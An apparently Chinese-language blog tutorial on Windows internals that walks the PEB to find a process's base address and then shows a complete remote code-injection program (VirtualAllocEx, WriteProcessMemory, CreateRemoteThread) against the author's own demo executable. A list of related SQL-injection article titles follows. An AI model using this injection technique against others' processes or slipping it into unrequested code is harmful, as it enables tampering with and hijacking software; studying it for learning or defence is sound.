        LIST_ENTRY InInitializationOrderLinks;  // +0x10
        PVOID DllBase;  // +0x18
        PVOID EntryPoint;  // +0x1c
        DWORD SizeOfImage;  // +0x20
        UNICODE_STRING FullDllName;  // +0x24
        UNICODE_STRING BaseDllName;  // +0x2c
        DWORD Flags;  
        WORD LoadCount;  
        WORD TlsIndex;  
        LIST_ENTRY HashLinks;  
        PVOID SectionPointer;  
        DWORD CheckSum;  
        DWORD TimeDateStamp;  
        PVOID LoadedImports;  
        PVOID EntryPointActivationContext;  
        PVOID PatchInformation;  
    }LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY;  
    

    综上所述, 我们可以利用一下这段汇编代码获取程序的基地址:

    		mov eax, fs:[0x30];		// PEB
    		mov ebx, [eax + 0xc];	// PEB_LDR_DATA
    		mov eax, [ebx + 0x14];	// InMemoryOrderModuleList
    		mov ebx, [eax + 0x10];	// ebx = InInitializationOrderLinks[0]
    

    或者

    		mov eax, fs:[0x30];		// PEB
    		mov ebx, [eax + 0x8];	// ImageBaseAddress
    

    如果在DLL当中获取程序基地址, 可以使用下面的代码:

    void Get_addr(DWORD pro_id){
    	HANDLE hpro = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pro_id);
    		if (hpro == 0){
    			printf("无法获取进程句柄");
    		}
    		printf("进程句柄id: %d\n",hpro);
    	
    		// 获取每一个模块加载基址
    		DWORD pro_base = NULL;
    		HMODULE hModule[100] = {0};
    	    DWORD dwRet = 0;
    		int num = 0;
    	    int bRet = EnumProcessModulesEx(hpro, (HMODULE *)(hModule), sizeof(hModule),&dwRet,NULL);
    	    if (bRet == 0){
    	        printf("EnumProcessModules");
    	    }
    		// 总模块个数
    		num = dwRet/sizeof(HMODULE);
    		printf("总模块个数: %d\n",num);
    		// 打印每一个模块加载基址
    		char lpBaseName[100];
    		for(int i = 0;i<num;i++){
    			GetModuleBaseNameA(hpro,hModule[i],lpBaseName,sizeof(lpBaseName));
    			printf("%-2d %-25s基址: 0x%p\n",i,lpBaseName,hModule[i]);
    		}
    	
    	    pro_base = (DWORD)hModule[0];
    		printf("程序基址: 0x%p\n",pro_base);
    }
    

    或者:

    void Get_addr(){
    	HMODULE addr = GetModuleHandle(NULL);
    	printf("addr: 0x%p\n", addr);
    }
    

    代码注入

    首先这是我们要注入的程序代码:

    
    // Demo.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    #include <stdio.h>
    #include <windows.h>
    
    void add(int a) {
    	printf("a: %d\n", a);
    }
    
    int main()
    {
    	add(8); 
    	printf("add_addr: 0x%p\n", add); // add函数地址
    	while (true)
    	{
    		printf("Demo....\n");
    		getchar();
    	}
    	return 0;
    }
    

    Demo
    此程序有一个add函数, 可以接收一个参数, 并且在程序中只调用一次, 我们可以通过代码注入的方式调用这个函数. 注入代码如下:

    // Win.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    //
    
    #include<stdio.h>
    #include<Windows.h>
    #include<psapi.h>
    
    void injected_code() {
    	__asm {
    		// 获取基地址
    		mov eax, fs:[0x30];		// PEB
    		mov ebx, [eax + 0xc];	// PEB_LDR_DATA
    		mov eax, [ebx + 0x14];	// InMemoryOrderModuleList
    		mov ebx, [eax + 0x10];	// ebx = 基址
    
    		push	100;			// add函数参数
    		add		ebx, 0x0002964F;  // ebx = 基址 + 偏移  add函数地址
    		call	ebx;			// 调用add函数 
    		add		esp, 0x4;
    	}
    }
    
    void inject_fun(DWORD pid) {
    
    	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    	printf("hProcess: 0x%x\n", hProcess);
    	LPVOID call_addr = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	printf("call_addr: 0x%x\n", call_addr);
    	int ret = WriteProcessMemory(hProcess, call_addr, injected_code, 0x1000, NULL);
    	printf("WriteProcessMemory: 0x%x\n", ret);
    	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)call_addr, NULL, 0, NULL);
    	printf("hthread: %x\n", hThread);
    	WaitForSingleObject(hThread, 2000);
    	CloseHandle(hProcess);
    	CloseHandle(hThread);
    }
    
    int main()
    {
    	HWND Prohan = FindWindowA(NULL, "C:\\Users\\cc-sir\\Desktop\\Demo.exe");
    	if (Prohan) {
    		printf("Prohan: 0x%x\n", Prohan);
    		DWORD Pid;
    		GetWindowThreadProcessId(Prohan, &Pid);
    		printf("Pid: %d\n", Pid);
    		// LPCSTR title = "sir";
    		// SetWindowText(Prohan, title);
    		inject_fun(Pid);
    	}
    	else {
    		printf("FindWindow Error!\n");
    	}
    	system("pause");
    	return 0;
    }
    

    代码当中重新push 100作为add函数的参数进行注入:
    inject

    总结

    通过代码注入可以在不修改程序的情况下调用程序当中的代码段, 在实际过程中还是使用工具比较方便…

    展开全文
  • 究竟什么是SQL注入

    万次阅读 多人点赞 2020-06-03 20:39:43
    SQL注入是Web安全层面最高危的漏洞之一,长期霸榜OWASP Top10首位,但是究竟什么事SQL注入?SQL注入又是怎么产生的?接下来本篇文章将详细介绍SQL注入产生的原理。本篇文章并没有描述具体的注入方法,而是侧重于对...
  • 4.1. SQL注入

    千次阅读 多人点赞 2020-07-01 23:19:14
    4.1. SQL注入 内容索引:4.1. SQL注入4.1.1. 注入分类4.1.1.1. 按技巧分类4.1.1.2. 按获取数据的方式分类4.1.2. 注入检测4.1.2.1. 常见的注入点4.1.2.2. Fuzz注入点4.1.2.3. 测试用常量4.1.2.4. 测试列数4.1.2.5. ...
  • 控制反转和依赖注入的理解(通俗易懂)

    万次阅读 多人点赞 2018-05-13 11:37:38
    学习过Spring框架的人一定都会听过Spring的IoC(控制反转) 、DI(依赖注入)这两个概念,对于初学Spring的人来说,总觉得IoC 、DI这两个概念是模糊不清的,是很难理解的,今天和大家分享网上的一些技术大牛们对Spring...
  • SQL注入---数字型注入与字符型注入

    千次阅读 2020-07-23 15:05:12
    文章目录SQLMAP注入手动注入 SQLMAP注入 ①判断注入点 sqlmap.py -u “http://challenge-7fac72c17bef7f22.sandbox.ctfhub.com:10080/?id=1” 发现是一个注入点 ②查询数据库 sqlmap.py -u ...
  • SQL注入之二阶注入

    千次阅读 2019-09-01 23:22:12
    二阶注入简介 注入分类: SQL注入一般分为两类:一阶SQL注入(普通SQL注入),二阶SQL注入 什么是二阶注入? 二阶注入就是无法直接注入,它时指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询...
  • SQL注入之延时注入

    千次阅读 2019-09-01 11:23:24
    延时注入简介 个人理解: 延时注入又称时间盲注,也是盲注的一种。通过构造延时注入语句后,浏览器页面的响应时间来判断正确的数据/ 应用场景: 延时注入的应用场景是,在我们输入and 1或者and 0的时候,页面...
  • 常见的Web漏洞——SQL注入

    万次阅读 多人点赞 2018-06-25 17:59:26
    SQL注入简介 SQL注入原理 SQL注入分类及判断 SQL注入方法 联合查询注入 基于bool的盲注 基于时间的盲注 总结 SQL注入简介 SQL注入是网站存在最多也是最简单的漏洞,主要原因是程序员在开发用户和数据库交互...
  • @Autowired(required=false)注入注意的问题

    万次阅读 多人点赞 2018-03-16 14:47:14
    1、前言在使用spring开发过程中,我们基本上都是使用@Autowired这个注解,用来注入已有的bean。但是有些时候,会注入失败。当我们加上参数(required=false)就能解决。今天整理一个我在实际开发中的例子2、required...
  • Spring注入可以理解为是对一个对象进行初始化,也就是省去new的这个步骤,类似于工厂模式一样,通过一个工厂制造出这个对象,如果遇到修改,只需要改一处就行了。实现spring注入一般有两种方法,配置文件,或者用...
  • sql注入

    千次阅读 2020-09-01 21:12:48
    SQL注入: 攻击者在HTTP请求中注入恶意SQL命令(如:drop table users;),服务器用请求参数构造数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行。 输入:taoge' or 1 = 1 ; # select * from zzz where ...
  • sql注入报错注入原理解析

    万次阅读 多人点赞 2018-05-25 20:53:20
    sql注入报错注入原理详解 前言 我相信很多小伙伴在玩sql注入报错注入时都会有一个疑问,为什么这么写就会报错?曾经我去查询的时候,也没有找到满意的答案,时隔几个月终于找到搞清楚原理,特此记录,也希望...
  • 探讨Spring属性注入,设值注入和构造注入注入时机
  • Spring02_Autowire(自动注入

    万次阅读 2020-06-21 12:21:58
    Spring02_Autowire(自动注入) byName 实体类Car package com.blu.entity; import lombok.Data; @Data public class Car { private long id; private String name; } 实体类Persion package ...
  • DLL注入-APC注入

    千次阅读 2016-11-25 18:13:30
    DLL注入-APC注入
  • SQL注入之联合查询注入

    万次阅读 多人点赞 2018-06-07 11:18:29
    联合查询注入利用的前提前提条件:页面上有显示位什么是显示位?在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位联合注入的过程1、...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 227,693
精华内容 91,077
关键字:

注入